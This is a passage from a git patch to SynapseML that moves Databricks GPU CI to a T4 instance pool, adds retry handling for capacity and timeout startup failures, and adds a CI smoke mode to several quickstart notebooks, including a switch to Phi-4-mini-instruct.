"-J--add-opens=java.prefs/java.util.prefs=ALL-UNNAMED" steps: From 8d528f3c9279603a8fde22623ad10a27b0d48ff7 Mon Sep 17 00:00:00 2001 From: Rana Singh Date: Fri, 31 Jul 2026 14:07:43 -0700 Subject: [PATCH 12/93] ci: migrate Databricks GPU pool to T4 AB#5478524 (#2579) ci: migrate Databricks GPU pool to T4 --- .../ml/nbtest/DatabricksClusterStartup.scala | 60 +++-- .../ml/nbtest/DatabricksGPUTests.scala | 23 +- .../ml/nbtest/DatabricksUtilities.scala | 118 ++++++++-- .../ml/nbtest/DatabricksUtilitiesSuite.scala | 221 +++++++++++++++--- ... Phi Model with HuggingFace CausalLM.ipynb | 79 +++---- ...kstart - Fine-tune a Text Classifier.ipynb | 17 +- ...tart - Fine-tune a Vision Classifier.ipynb | 9 +- pipeline.yaml | 19 +- templates/publish.yml | 1 + 9 files changed, 411 insertions(+), 136 deletions(-) diff --git a/core/src/test/scala/com/microsoft/azure/synapse/ml/nbtest/DatabricksClusterStartup.scala b/core/src/test/scala/com/microsoft/azure/synapse/ml/nbtest/DatabricksClusterStartup.scala index cf86899c26a..6f20dd4112f 100644 --- a/core/src/test/scala/com/microsoft/azure/synapse/ml/nbtest/DatabricksClusterStartup.scala +++ b/core/src/test/scala/com/microsoft/azure/synapse/ml/nbtest/DatabricksClusterStartup.scala @@ -10,7 +10,11 @@ import java.util.concurrent.TimeoutException import scala.util.control.NonFatal private[nbtest] object DatabricksClusterStartup { - private val CloudProviderResourceStockout = "CLOUD_PROVIDER_RESOURCE_STOCKOUT" + private val RetriableTerminationCodes = Set( + "CLOUD_PROVIDER_RESOURCE_STOCKOUT", + "INSTANCE_GROUP_MAX_CAPACITY_REACHED", + "INSTANCE_POOL_MAX_CAPACITY_REACHED" + ) final case class ClusterStatus( state: String, @@ -22,7 +26,7 @@ private[nbtest] object DatabricksClusterStartup { val status: ClusterStatus) extends RuntimeException(clusterStartupFailureMessage(clusterId, status)) { - def isRetriable: Boolean = status.terminationCode.contains(CloudProviderResourceStockout) + def isRetriable: Boolean = status.terminationCode.exists(RetriableTerminationCodes.contains) } private def clusterStartupFailureMessage(clusterId: String, status: ClusterStatus): String = { @@ -78,24 +82,41 @@ private[nbtest] object DatabricksClusterStartup { cleanupCluster: String => Unit, maxAttempts: Int = 3, retryDelayMs: Long = 30 * 1000L, - sleep: Long => Unit = millis => Thread.sleep(millis)): String = { + maxRetryDurationMs: Option[Long] = None, + sleep: Long => Unit = millis => Thread.sleep(millis), + currentTimeMillis: () => Long = () => System.currentTimeMillis()): String = { require(maxAttempts > 0, "maxAttempts must be positive") + require(maxRetryDurationMs.forall(_ > 0), "maxRetryDurationMs must be positive") + val retryDeadline = maxRetryDurationMs.map(currentTimeMillis() + _) + + def canRetry(attempt: Int): Boolean = { + attempt < maxAttempts && + retryDeadline.forall(currentTimeMillis() + retryDelayMs <= _) + } + def attemptStartup(attempt: Int): String = { val clusterId = createCluster(attempt) + def retryStartup(failure: Throwable): String = { + cleanupFailedCluster(clusterId, cleanupCluster, failure) + if (!canRetry(attempt)) { + throw failure + } + val reason = retryReason(failure) + println( + s"Cluster $clusterId hit retriable startup condition $reason; retrying " + + s"after ${retryDelayMs / 1000} seconds") + sleep(retryDelayMs) + attemptStartup(attempt + 1) + } + try { waitForActive(clusterId) clusterId } catch { - case failure: ClusterStartupException => - cleanupFailedCluster(clusterId, cleanupCluster, failure) - if (!failure.isRetriable || attempt == maxAttempts) { - throw failure - } - println( - s"Cluster $clusterId hit a cloud resource stockout; retrying startup " + - s"after ${retryDelayMs / 1000} seconds") - sleep(retryDelayMs) - attemptStartup(attempt + 1) + case failure: ClusterStartupException if failure.isRetriable => + retryStartup(failure) + case failure: TimeoutException => + retryStartup(failure) case NonFatal(failure) => cleanupFailedCluster(clusterId, cleanupCluster, failure) throw failure @@ -104,6 +125,15 @@ private[nbtest] object DatabricksClusterStartup { attemptStartup(1) } + private def retryReason(failure: Throwable): String = { + failure match { + case clusterFailure: ClusterStartupException => + clusterFailure.status.terminationCode.getOrElse("UNKNOWN") + case _: TimeoutException => "STARTUP_TIMEOUT" + case _ => "UNKNOWN" + } + } + private def cleanupFailedCluster( clusterId: String, cleanupCluster: String => Unit, @@ -118,8 +148,4 @@ private[nbtest] object DatabricksClusterStartup { cleanupFailure.getMessage) } } - - def gpuWorkerCount(attempt: Int): Int = { - if (attempt == 1) 2 else 1 - } } diff --git a/core/src/test/scala/com/microsoft/azure/synapse/ml/nbtest/DatabricksGPUTests.scala b/core/src/test/scala/com/microsoft/azure/synapse/ml/nbtest/DatabricksGPUTests.scala index b08fd194417..bf041dcebc0 100644 --- a/core/src/test/scala/com/microsoft/azure/synapse/ml/nbtest/DatabricksGPUTests.scala +++ b/core/src/test/scala/com/microsoft/azure/synapse/ml/nbtest/DatabricksGPUTests.scala @@ -9,24 +9,35 @@ import com.microsoft.azure.synapse.ml.nbtest.DatabricksClusterStartup._ class DatabricksGPUTests extends DatabricksTestHelper { private val gpuTimeoutMs = 30 * 60 * 1000 - // Reuse the scarce GPU workers sequentially while the driver runs from the CPU pool. + private val gpuCapacityWaitMs = 3L * 60 * 60 * 1000 + private val gpuSmokeTests = sys.env.get("SYNAPSEML_GPU_SMOKE_TESTS").exists(_.equalsIgnoreCase("true")) + // Use one worker per run so concurrent builds can share the GPU pool. val clusterId: String = createActiveCluster( attempt => { - val workerCount = gpuWorkerCount(attempt) - println(s"Creating GPU cluster startup attempt $attempt with $workerCount worker(s)") + println(s"Creating GPU cluster startup attempt $attempt with $GpuWorkersPerRun worker(s)") createClusterInPool( GPUClusterName, AdbGpuRuntime, - workerCount, + GpuWorkersPerRun, GpuPoolId, driverInstancePoolId = Some(PoolId) ) }, clusterId => waitForClusterActive(clusterId, getClusterStatus), - permanentDeleteCluster + permanentDeleteCluster, + maxAttempts = Int.MaxValue, + maxRetryDurationMs = Some(gpuCapacityWaitMs) ) - databricksTestHelper(clusterId, GPULibraries, GPUNotebooks, 1, List(), gpuTimeoutMs) + databricksTestHelper( + clusterId, + GPULibraries, + GPUNotebooks, + 1, + retries = List(), + timeoutMs = gpuTimeoutMs, + baseParameters = Map("synapseml_ci_smoke" -> gpuSmokeTests.toString) + ) protected override def afterAll(): Unit = { afterAllHelper(clusterId, GPUClusterName) diff --git a/core/src/test/scala/com/microsoft/azure/synapse/ml/nbtest/DatabricksUtilities.scala b/core/src/test/scala/com/microsoft/azure/synapse/ml/nbtest/DatabricksUtilities.scala index a0d8f7386c9..019a85dfb7d 100644 --- a/core/src/test/scala/com/microsoft/azure/synapse/ml/nbtest/DatabricksUtilities.scala +++ b/core/src/test/scala/com/microsoft/azure/synapse/ml/nbtest/DatabricksUtilities.scala @@ -36,6 +36,10 @@ object DatabricksUtilities { val Region = "eastus" val PoolName = "synapseml-build-14.3" val GpuPoolName = "synapseml-build-14.3-gpu" + private[nbtest] val GpuPoolNodeType = "Standard_NC16as_T4_v3" + private[nbtest] val GpuWorkersPerRun = 1 + private[nbtest] val GpuConcurrentRuns = 3 + private[nbtest] val GpuPoolMinimumCapacity = GpuWorkersPerRun * GpuConcurrentRuns val AdbRuntime = "14.3.x-scala2.12" // https://docs.databricks.com/en/release-notes/runtime/14.3lts-ml.html val AdbGpuRuntime = "14.3.x-gpu-ml-scala2.12" @@ -168,7 +172,8 @@ object DatabricksUtilities { } lazy val PoolId: String = getPoolIdByName(PoolName) - lazy val GpuPoolId: String = getPoolIdByName(GpuPoolName) + lazy val GpuPoolId: String = + getPoolIdByNameAndNodeType(GpuPoolName, GpuPoolNodeType, GpuPoolMinimumCapacity) lazy val ClusterName = s"mmlspark-build-${LocalDateTime.now()}" lazy val GPUClusterName = s"mmlspark-build-gpu-${LocalDateTime.now()}" lazy val RapidsClusterName = s"mmlspark-build-rapids-${LocalDateTime.now()}" @@ -303,9 +308,61 @@ object DatabricksUtilities { def getPoolIdByName(name: String): String = { val jsonObj = databricksGet("instance-pools/list", apiVersion = "2.0") - val cluster = jsonObj.select[Array[JsValue]]("instance_pools") - .filter(_.select[String]("instance_pool_name") == name).head - cluster.select[String]("instance_pool_id") + selectPoolId(jsonObj, name, None) + } + + private def getPoolIdByNameAndNodeType( + name: String, + nodeType: String, + minimumCapacity: Int): String = { + val jsonObj = databricksGet("instance-pools/list", apiVersion = "2.0") + selectPoolId(jsonObj, name, Some(nodeType), Some(minimumCapacity)) + } + + private[nbtest] def selectPoolId( + jsonObj: JsValue, + name: String, + expectedNodeType: Option[String], + expectedMinimumCapacity: Option[Int] = None): String = { + val namedPools = jsonObj.select[Array[JsValue]]("instance_pools") + .filter(_.select[String]("instance_pool_name") == name) + if (namedPools.isEmpty) { + throw new IllegalArgumentException(s"Databricks instance pool '$name' was not found") + } + + val nodeTypePools = expectedNodeType match { + case Some(expected) => + val matchingPools = namedPools.filter(_.select[String]("node_type_id") == expected) + if (matchingPools.isEmpty) { + val actualNodeTypes = namedPools + .map(_.select[String]("node_type_id")) + .distinct + .sorted + .map(nodeType => s"'$nodeType'") + .mkString(", ") + throw new IllegalArgumentException( + s"Databricks instance pool '$name' uses node type(s) $actualNodeTypes; expected '$expected'") + } + matchingPools + case None => namedPools + } + val capacityPools = expectedMinimumCapacity match { + case Some(expected) => + val matchingPools = nodeTypePools.filter(_.select[Int]("max_capacity") >= expected) + if (matchingPools.isEmpty) { + val actualCapacities = nodeTypePools + .map(_.select[Int]("max_capacity")) + .distinct + .sorted + .mkString(", ") + throw new IllegalArgumentException( + s"Databricks instance pool '$name' has maximum capacity value(s) $actualCapacities; " + + s"expected at least $expected") + } + matchingPools + case None => nodeTypePools + } + capacityPools.head.select[String]("instance_pool_id") } def workspaceMkDir(dir: String): Unit = { @@ -450,20 +507,31 @@ object DatabricksUtilities { DatabricksClusterStartup.parseClusterStatus(databricksGet(s"clusters/get?cluster_id=$clusterId")) } - def submitRun(clusterId: String, notebookPath: String, - timeoutSeconds: Int = TimeoutInMillis / 1000): Long = { - val body = - s""" - |{ - | "run_name": "test1", - | "existing_cluster_id": "$clusterId", - | "timeout_seconds": $timeoutSeconds, - | "notebook_task": { - | "notebook_path": "$notebookPath", - | "base_parameters": [] - | } - |} - """.stripMargin + private[nbtest] def createSubmitRunRequest( + clusterId: String, + notebookPath: String, + timeoutSeconds: Int, + baseParameters: Map[String, String]): String = { + val baseParametersJson = baseParameters.toJson.compactPrint + s""" + |{ + | "run_name": "test1", + | "existing_cluster_id": "$clusterId", + | "timeout_seconds": $timeoutSeconds, + | "notebook_task": { + | "notebook_path": "$notebookPath", + | "base_parameters": $baseParametersJson + | } + |} + """.stripMargin + } + + def submitRun( + clusterId: String, + notebookPath: String, + timeoutSeconds: Int = TimeoutInMillis / 1000, + baseParameters: Map[String, String] = Map.empty): Long = { + val body = createSubmitRunRequest(clusterId, notebookPath, timeoutSeconds, baseParameters) databricksPost("jobs/runs/submit", body).select[Long]("run_id") } @@ -544,15 +612,18 @@ object DatabricksUtilities { } } - def runNotebook(clusterId: String, notebookFile: File, - timeoutSeconds: Int = TimeoutInMillis / 1000): Unit = { + def runNotebook( + clusterId: String, + notebookFile: File, + timeoutSeconds: Int = TimeoutInMillis / 1000, + baseParameters: Map[String, String] = Map.empty): Unit = { val dirPaths = DocsDir.toURI.relativize(notebookFile.getParentFile.toURI).getPath val folderToCreate = Folder + "/" + dirPaths println(s"Creating folder $folderToCreate") workspaceMkDir(folderToCreate) val destination: String = folderToCreate + notebookFile.getName uploadNotebook(notebookFile, destination) - val runId: Long = submitRun(clusterId, destination, timeoutSeconds) + val runId: Long = submitRun(clusterId, destination, timeoutSeconds, baseParameters) val run: DatabricksNotebookRun = DatabricksNotebookRun(runId, notebookFile.getName, timeoutSeconds * 1000) println(s"Successfully submitted job run id ${run.runId} for notebook ${run.notebookName}") DatabricksState.JobIdsToCancel.append(run.runId) @@ -618,7 +689,8 @@ abstract class DatabricksTestHelper extends TestBase { notebooks: Seq[File], maxConcurrency: Int, retries: List[Int] = List(1000 * 15), - timeoutMs: Int = TimeoutInMillis): Unit = { + timeoutMs: Int = TimeoutInMillis, + baseParameters: Map[String, String] = Map.empty): Unit = { println("Checking if cluster is active") // Pool-backed clusters start in ~1.5-3.5 min; allow up to 10 min @@ -640,7 +712,7 @@ abstract class DatabricksTestHelper extends TestBase { val futures = notebooks.map { notebook => Future { retry(retries, { () => - runNotebook(clusterId, notebook, timeoutMs / 1000) + runNotebook(clusterId, notebook, timeoutMs / 1000, baseParameters) }) } } diff --git a/core/src/test/scala/com/microsoft/azure/synapse/ml/nbtest/DatabricksUtilitiesSuite.scala b/core/src/test/scala/com/microsoft/azure/synapse/ml/nbtest/DatabricksUtilitiesSuite.scala index 9a451ed1484..d01f1b8362b 100644 --- a/core/src/test/scala/com/microsoft/azure/synapse/ml/nbtest/DatabricksUtilitiesSuite.scala +++ b/core/src/test/scala/com/microsoft/azure/synapse/ml/nbtest/DatabricksUtilitiesSuite.scala @@ -232,6 +232,104 @@ class DatabricksUtilitiesSuite extends AnyFunSuite { assert(!request.fields.contains("driver_instance_pool_id")) } + test("Include notebook base parameters in submitted runs") { + val request = DatabricksUtilities.createSubmitRunRequest( + "cluster-id", + "/SynapseMLBuild/test-notebook", + 300, + Map("synapseml_ci_smoke" -> "true") + ).parseJson.asJsObject + val notebookTask = request.fields("notebook_task").asJsObject + + assert(notebookTask.fields("notebook_path").convertTo[String] === "/SynapseMLBuild/test-notebook") + assert(notebookTask.fields("base_parameters").convertTo[Map[String, String]] === + Map("synapseml_ci_smoke" -> "true")) + } + + test("Require the migrated T4 node type for the stable GPU pool") { + val pools = + s""" + |{ + | "instance_pools": [ + | { + | "instance_pool_id": "retired-pool", + | "instance_pool_name": "${DatabricksUtilities.GpuPoolName}", + | "node_type_id": "Standard_NC6s_v3", + | "max_capacity": 2 + | }, + | { + | "instance_pool_id": "undersized-t4-pool", + | "instance_pool_name": "${DatabricksUtilities.GpuPoolName}", + | "node_type_id": "${DatabricksUtilities.GpuPoolNodeType}", + | "max_capacity": 2 + | }, + | { + | "instance_pool_id": "t4-pool", + | "instance_pool_name": "${DatabricksUtilities.GpuPoolName}", + | "node_type_id": "${DatabricksUtilities.GpuPoolNodeType}", + | "max_capacity": 4 + | } + | ] + |} + |""".stripMargin.parseJson + + assert(DatabricksUtilities.selectPoolId( + pools, + DatabricksUtilities.GpuPoolName, + Some(DatabricksUtilities.GpuPoolNodeType), + Some(DatabricksUtilities.GpuPoolMinimumCapacity) + ) === "t4-pool") + + val retiredPool = + s""" + |{ + | "instance_pools": [ + | { + | "instance_pool_id": "retired-pool", + | "instance_pool_name": "${DatabricksUtilities.GpuPoolName}", + | "node_type_id": "Standard_NC6s_v3", + | "max_capacity": 4 + | } + | ] + |} + |""".stripMargin.parseJson + val error = intercept[IllegalArgumentException] { + DatabricksUtilities.selectPoolId( + retiredPool, + DatabricksUtilities.GpuPoolName, + Some(DatabricksUtilities.GpuPoolNodeType), + Some(DatabricksUtilities.GpuPoolMinimumCapacity) + ) + } + assert(error.getMessage.contains("uses node type(s) 'Standard_NC6s_v3'")) + assert(error.getMessage.contains(s"expected '${DatabricksUtilities.GpuPoolNodeType}'")) + + val undersizedPool = + s""" + |{ + | "instance_pools": [ + | { + | "instance_pool_id": "undersized-pool", + | "instance_pool_name": "${DatabricksUtilities.GpuPoolName}", + | "node_type_id": "${DatabricksUtilities.GpuPoolNodeType}", + | "max_capacity": 2 + | } + | ] + |} + |""".stripMargin.parseJson + val capacityError = intercept[IllegalArgumentException] { + DatabricksUtilities.selectPoolId( + undersizedPool, + DatabricksUtilities.GpuPoolName, + Some(DatabricksUtilities.GpuPoolNodeType), + Some(DatabricksUtilities.GpuPoolMinimumCapacity) + ) + } + assert(capacityError.getMessage.contains("has maximum capacity value(s) 2")) + assert(capacityError.getMessage.contains( + s"expected at least ${DatabricksUtilities.GpuPoolMinimumCapacity}")) + } + test("Parse Databricks cluster termination details") { val status = DatabricksClusterStartup.parseClusterStatus( """ @@ -270,39 +368,76 @@ class DatabricksUtilitiesSuite extends AnyFunSuite { assert(failure.getMessage.contains("No GPU capacity")) } - test("Retry only stockout cluster failures and reduce GPU workers") { + test("Retry capacity-related cluster failures") { + Seq( + "CLOUD_PROVIDER_RESOURCE_STOCKOUT", + "INSTANCE_GROUP_MAX_CAPACITY_REACHED", + "INSTANCE_POOL_MAX_CAPACITY_REACHED" + ).foreach { terminationCode => + val createdAttempts = mutable.ArrayBuffer.empty[Int] + val cleanedClusters = mutable.ArrayBuffer.empty[String] + val result = DatabricksClusterStartup.createActiveCluster( + attempt => { + createdAttempts += attempt + s"cluster-$attempt" + }, + clusterId => { + if (clusterId == "cluster-1") { + throw new DatabricksClusterStartup.ClusterStartupException( + clusterId, + DatabricksClusterStartup.ClusterStatus( + "TERMINATED", + Some(terminationCode) + ) + ) + } + }, + clusterId => cleanedClusters += clusterId, + retryDelayMs = 0, + sleep = _ => () + ) + + assert(result === "cluster-2") + assert(createdAttempts === Seq(1, 2)) + assert(cleanedClusters === Seq("cluster-1")) + } + assert(DatabricksUtilities.GpuWorkersPerRun === 1) + assert(DatabricksUtilities.GpuConcurrentRuns === 3) + assert(DatabricksUtilities.GpuPoolMinimumCapacity === 3) + } + + test("Retry pool contention within the configured duration") { val createdAttempts = mutable.ArrayBuffer.empty[Int] val cleanedClusters = mutable.ArrayBuffer.empty[String] - val result = DatabricksClusterStartup.createActiveCluster( - attempt => { - createdAttempts += attempt - s"cluster-$attempt" - }, - clusterId => { - if (clusterId == "cluster-1") { - throw new DatabricksClusterStartup.ClusterStartupException( - clusterId, - DatabricksClusterStartup.ClusterStatus( - "TERMINATED", - Some("CLOUD_PROVIDER_RESOURCE_STOCKOUT") - ) + var currentTime = 0L + val failure = intercept[DatabricksClusterStartup.ClusterStartupException] { + DatabricksClusterStartup.createActiveCluster( + attempt => { + createdAttempts += attempt + s"cluster-$attempt" + }, + clusterId => throw new DatabricksClusterStartup.ClusterStartupException( + clusterId, + DatabricksClusterStartup.ClusterStatus( + "TERMINATED", + Some("INSTANCE_POOL_MAX_CAPACITY_REACHED") ) - } - }, - clusterId => cleanedClusters += clusterId, - retryDelayMs = 0, - sleep = _ => () - ) + ), + clusterId => cleanedClusters += clusterId, + maxAttempts = Int.MaxValue, + retryDelayMs = 30, + maxRetryDurationMs = Some(90), + sleep = delay => currentTime += delay, + currentTimeMillis = () => currentTime + ) + } - assert(result === "cluster-2") - assert(createdAttempts === Seq(1, 2)) - assert(cleanedClusters === Seq("cluster-1")) - assert(DatabricksClusterStartup.gpuWorkerCount(1) === 2) - assert(DatabricksClusterStartup.gpuWorkerCount(2) === 1) - assert(DatabricksClusterStartup.gpuWorkerCount(3) === 1) + assert(failure.status.terminationCode.contains("INSTANCE_POOL_MAX_CAPACITY_REACHED")) + assert(createdAttempts === Seq(1, 2, 3, 4)) + assert(cleanedClusters === Seq("cluster-1", "cluster-2", "cluster-3", "cluster-4")) } - test("Do not retry non-stockout cluster failures") { + test("Do not retry non-capacity cluster failures") { val createdAttempts = mutable.ArrayBuffer.empty[Int] val failure = intercept[DatabricksClusterStartup.ClusterStartupException] { DatabricksClusterStartup.createActiveCluster( @@ -324,7 +459,7 @@ class DatabricksUtilitiesSuite extends AnyFunSuite { assert(createdAttempts === Seq(1)) } - test("Continue stockout retries when failed-cluster cleanup fails") { + test("Continue capacity retries when failed-cluster cleanup fails") { val result = DatabricksClusterStartup.createActiveCluster( attempt => s"cluster-$attempt", clusterId => { @@ -346,7 +481,30 @@ class DatabricksUtilitiesSuite extends AnyFunSuite { assert(result === "cluster-2") } - test("Clean up timed-out clusters without retrying them") { + test("Retry timed-out clusters after cleanup") { + val createdAttempts = mutable.ArrayBuffer.empty[Int] + val cleanedClusters = mutable.ArrayBuffer.empty[String] + val result = DatabricksClusterStartup.createActiveCluster( + attempt => { + createdAttempts += attempt + s"cluster-$attempt" + }, + clusterId => { + if (clusterId == "cluster-1") { + throw new java.util.concurrent.TimeoutException("cluster stayed pending") + } + }, + clusterId => cleanedClusters += clusterId, + retryDelayMs = 0, + sleep = _ => () + ) + + assert(result === "cluster-2") + assert(createdAttempts === Seq(1, 2)) + assert(cleanedClusters === Seq("cluster-1")) + } + + test("Stop retrying timed-out clusters at the configured attempt limit") { val createdAttempts = mutable.ArrayBuffer.empty[Int] val cleanedClusters = mutable.ArrayBuffer.empty[String] intercept[java.util.concurrent.TimeoutException] { @@ -357,13 +515,14 @@ class DatabricksUtilitiesSuite extends AnyFunSuite { }, _ => throw new java.util.concurrent.TimeoutException("cluster stayed pending"), clusterId => cleanedClusters += clusterId, + maxAttempts = 2, retryDelayMs = 0, sleep = _ => () ) } - assert(createdAttempts === Seq(1)) - assert(cleanedClusters === Seq("cluster-1")) + assert(createdAttempts === Seq(1, 2)) + assert(cleanedClusters === Seq("cluster-1", "cluster-2")) } test("Select all GPU notebooks in deterministic order") { diff --git a/docs/Explore Algorithms/Deep Learning/Quickstart - Apply Phi Model with HuggingFace CausalLM.ipynb b/docs/Explore Algorithms/Deep Learning/Quickstart - Apply Phi Model with HuggingFace CausalLM.ipynb index 8ef6ad30cfd..adf13135582 100644 --- a/docs/Explore Algorithms/Deep Learning/Quickstart - Apply Phi Model with HuggingFace CausalLM.ipynb +++ b/docs/Explore Algorithms/Deep Learning/Quickstart - Apply Phi Model with HuggingFace CausalLM.ipynb @@ -15,13 +15,11 @@ "\n", "**HuggingFace** is a popular open-source platform that develops computation tools for building application using machine learning. It is widely known for its Transformers library which contains open-source implementation of transformer models for text, image, and audio task.\n", "\n", - "[**Phi 3**](https://azure.microsoft.com/en-us/blog/introducing-phi-3-redefining-whats-possible-with-slms/) is a family of AI models developed by Microsoft, designed to redefine what is possible with small language models (SLMs). Phi-3 models are the most compatable and cost-effective SLMs, [outperforming models of the same size and even larger ones in language](https://news.microsoft.com/source/features/ai/the-phi-3-small-language-models-with-big-potential/?msockid=26355e446adb6dfa06484f956b686c27), reasoning, coding, and math benchmarks. \n", - "\n", - "![Phi 3 model performance](https://mmlspark.blob.core.windows.net/graphics/The-Phi-3-small-language-models-with-big-potential-1.jpg)\n", + "[**Phi-4-mini-instruct**](https://huggingface.co/microsoft/Phi-4-mini-instruct) is a compact Microsoft language model optimized for instruction following and efficient deployment.\n", "\n", "To make it easier to scale up causal language model prediction on a large dataset, we have integrated [HuggingFace Causal LM](https://huggingface.co/docs/transformers/tasks/language_modeling) with SynapseML. This integration makes it easy to use the Apache Spark distributed computing framework to process large data on text generation tasks.\n", "\n", - "This tutorial shows hot to apply [phi3 model](https://huggingface.co/collections/microsoft/phi-3-6626e15e9585a200d2d761e3) at scale with no extra setting." + "This tutorial shows how to apply Phi-4 mini instruct at scale across standard prompts, chat templates, and GPU execution." ] }, { @@ -30,7 +28,14 @@ "metadata": {}, "outputs": [], "source": [ - "# %pip install --upgrade transformers==4.49.0 -q" + "# %pip install --upgrade transformers==4.49.0 -q\n", + "\n", + "model_name = \"microsoft/Phi-4-mini-instruct\"\n", + "ci_smoke = False\n", + "if \"dbutils\" in globals():\n", + " dbutils.widgets.text(\"synapseml_ci_smoke\", \"false\")\n", + " ci_smoke = dbutils.widgets.get(\"synapseml_ci_smoke\").lower() == \"true\"\n", + "generation_tokens = 10 if ci_smoke else 100" ] }, { @@ -53,14 +58,14 @@ "cell_type": "markdown", "metadata": {}, "source": [ - "## Define and Apply Phi3 model" + "## Define and Apply Phi-4 model" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ - "The following example demonstrates how to load the remote Phi 3 model from HuggingFace and apply it to chats." + "The following example demonstrates how to load the remote Phi-4 model from HuggingFace and apply it to chats." ] }, { @@ -71,14 +76,15 @@ "source": [ "from synapse.ml.hf import HuggingFaceCausalLM\n", "\n", - "phi3_transformer = (\n", + "phi4_transformer = (\n", " HuggingFaceCausalLM()\n", - " .setModelName(\"microsoft/Phi-3-mini-4k-instruct\")\n", + " .setModelName(model_name)\n", " .setInputCol(\"content\")\n", " .setOutputCol(\"result\")\n", - " .setModelParam(max_new_tokens=100)\n", + " .setModelParam(max_new_tokens=generation_tokens)\n", + " .setModelConfig(local_files_only=False, trust_remote_code=True)\n", ")\n", - "result_df = phi3_transformer.transform(chat_df).collect()\n", + "result_df = phi4_transformer.transform(chat_df).collect()\n", "display(result_df)" ] }, @@ -115,14 +121,15 @@ "\n", "reviews_df = reviews_df.withColumn(\"messages\", make_template(\"content\"))\n", "\n", - "phi3_transformer = (\n", + "phi4_transformer = (\n", " HuggingFaceCausalLM()\n", - " .setModelName(\"microsoft/Phi-3-mini-4k-instruct\")\n", + " .setModelName(model_name)\n", " .setInputCol(\"messages\")\n", " .setOutputCol(\"result\")\n", " .setModelParam(max_new_tokens=10)\n", + " .setModelConfig(local_files_only=False, trust_remote_code=True)\n", ")\n", - "result_df = phi3_transformer.transform(reviews_df).collect()\n", + "result_df = phi4_transformer.transform(reviews_df).collect()\n", "display(result_df)" ] }, @@ -147,7 +154,7 @@ "outputs": [], "source": [ "# %%sh\n", - "# azcopy copy \"https://mmlspark.blob.core.windows.net/huggingface/microsoft/Phi-3-mini-4k-instruct\" \"/lakehouse/default/Files/microsoft/\" --recursive=true" + "# azcopy copy \"https://mmlspark.blob.core.windows.net/huggingface/microsoft/Phi-4-mini-instruct\" \"/lakehouse/default/Files/microsoft/\" --recursive=true" ] }, { @@ -156,14 +163,14 @@ "metadata": {}, "outputs": [], "source": [ - "# phi3_transformer = (\n", + "# phi4_transformer = (\n", "# HuggingFaceCausalLM()\n", - "# .setCachePath(\"/lakehouse/default/Files/microsoft/Phi-3-mini-4k-instruct\")\n", + "# .setCachePath(\"/lakehouse/default/Files/microsoft/Phi-4-mini-instruct\")\n", "# .setInputCol(\"content\")\n", "# .setOutputCol(\"result\")\n", "# .setModelParam(max_new_tokens=1000)\n", "# )\n", - "# result_df = phi3_transformer.transform(chat_df).collect()\n", + "# result_df = phi4_transformer.transform(chat_df).collect()\n", "# display(result_df)" ] }, @@ -181,36 +188,6 @@ "To utilize GPU, passing device_map=\"cuda\", torch_dtype=\"auto\" to modelConfig." ] }, - { - "cell_type": "code", - "execution_count": null, - "metadata": {}, - "outputs": [], - "source": [ - "phi3_transformer = (\n", - " HuggingFaceCausalLM()\n", - " .setModelName(\"microsoft/Phi-3-mini-4k-instruct\")\n", - " .setInputCol(\"content\")\n", - " .setOutputCol(\"result\")\n", - " .setModelParam(max_new_tokens=100)\n", - " .setModelConfig(\n", - " device_map=\"cuda\",\n", - " torch_dtype=\"auto\",\n", - " )\n", - ")\n", - "result_df = phi3_transformer.transform(chat_df).collect()\n", - "display(result_df)" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "## Phi 4\n", - "\n", - "To try with the newer version of phi 4 model, simply set the model name to be microsoft/Phi-4-mini-instruct." - ] - }, { "cell_type": "code", "execution_count": null, @@ -219,12 +196,12 @@ "source": [ "phi4_transformer = (\n", " HuggingFaceCausalLM()\n", - " .setModelName(\"microsoft/Phi-4-mini-instruct\")\n", + " .setModelName(model_name)\n", " .setInputCol(\"content\")\n", " .setOutputCol(\"result\")\n", - " .setModelParam(max_new_tokens=100)\n", + " .setModelParam(max_new_tokens=generation_tokens)\n", " .setModelConfig(\n", - " device_map=\"auto\",\n", + " device_map=\"cuda\",\n", " torch_dtype=\"auto\",\n", " local_files_only=False,\n", " trust_remote_code=True,\n", diff --git a/docs/Explore Algorithms/Deep Learning/Quickstart - Fine-tune a Text Classifier.ipynb b/docs/Explore Algorithms/Deep Learning/Quickstart - Fine-tune a Text Classifier.ipynb index e176e64f969..46e4bb8c8cf 100644 --- a/docs/Explore Algorithms/Deep Learning/Quickstart - Fine-tune a Text Classifier.ipynb +++ b/docs/Explore Algorithms/Deep Learning/Quickstart - Fine-tune a Text Classifier.ipynb @@ -52,7 +52,12 @@ "import synapse\n", "import cloudpickle\n", "\n", - "cloudpickle.register_pickle_by_value(synapse)" + "cloudpickle.register_pickle_by_value(synapse)\n", + "\n", + "ci_smoke = False\n", + "if \"dbutils\" in globals():\n", + " dbutils.widgets.text(\"synapseml_ci_smoke\", \"false\")\n", + " ci_smoke = dbutils.widgets.get(\"synapseml_ci_smoke\").lower() == \"true\"" ] }, { @@ -148,7 +153,7 @@ "run_output_dir = f\"/dbfs/FileStore/test/{checkpoint}/{str(uuid.uuid4())[:8]}\"\n", "store = DBFSLocalStore(run_output_dir)\n", "\n", - "epochs = 1\n", + "epochs = 2 if ci_smoke else 1\n", "\n", "callbacks = [ModelCheckpoint(filename=\"{epoch}-{train_loss:.2f}\")]" ] @@ -177,7 +182,10 @@ " text_col=\"Text\",\n", ")\n", "\n", - "deep_text_model = deep_text_classifier.fit(train_df.limit(6000).repartition(50))" + "training_rows = 1000 if ci_smoke else 6000\n", + "deep_text_model = deep_text_classifier.fit(\n", + " train_df.limit(training_rows).repartition(50)\n", + ")" ] }, { @@ -209,7 +217,8 @@ "source": [ "from pyspark.ml.evaluation import MulticlassClassificationEvaluator\n", "\n", - "pred_df = deep_text_model.transform(test_df.limit(500))\n", + "prediction_rows = 100 if ci_smoke else 500\n", + "pred_df = deep_text_model.transform(test_df.limit(prediction_rows))\n", "evaluator = MulticlassClassificationEvaluator(\n", " predictionCol=\"prediction\", labelCol=\"label\", metricName=\"accuracy\"\n", ")\n", diff --git a/docs/Explore Algorithms/Deep Learning/Quickstart - Fine-tune a Vision Classifier.ipynb b/docs/Explore Algorithms/Deep Learning/Quickstart - Fine-tune a Vision Classifier.ipynb index e3237edfd09..292a6b7a59e 100644 --- a/docs/Explore Algorithms/Deep Learning/Quickstart - Fine-tune a Vision Classifier.ipynb +++ b/docs/Explore Algorithms/Deep Learning/Quickstart - Fine-tune a Vision Classifier.ipynb @@ -38,7 